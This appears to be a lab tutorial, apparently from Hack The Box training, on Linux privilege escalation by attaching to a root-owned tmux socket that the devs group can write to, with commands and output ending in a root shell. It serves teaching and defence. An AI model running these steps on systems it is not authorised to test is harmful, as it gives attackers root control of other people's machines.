**Hijacking Tmux Sessions**

Terminal multiplexers such as [tmux](https://en.wikipedia.org/wiki/Tmux) can be used to allow multiple terminal sessions to be accessed within a single console session. When not working in a tmux window, we can detach from the session, still leaving it active (i.e., running an nmap scan). For many reasons, a user may leave a tmux process running as a privileged user, such as root set up with weak permissions, and can be hijacked. This may be done with the following commands to create a new shared session and modify the ownership.

htb@NIX02:~$ tmux -S /shareds new -s debugsess

htb@NIX02:~$ chown root:devs /shareds

If we can compromise a user in the dev group, we can attach to this session and gain root access.

Check for any running tmux processes.

htb@NIX02:~$ ps aux | grep tmux

root 4806 0.0 0.1 29416 3204 ? Ss 06:27 0:00 tmux -S /shareds new -s debugsess

Confirm permissions.

htb@NIX02:~$ ls -la /shareds

srw-rw---- 1 root devs 0 Sep 1 06:27 /shareds

Review our group membership.

htb@NIX02:~$ id

uid=1000(htb) gid=1000(htb) groups=1000(htb),1011(devs)

Finally, attach to the tmux session and confirm root privileges.

htb@NIX02:~$ tmux -S /shareds

id

uid=0(root) gid=0(root) groups=0(root)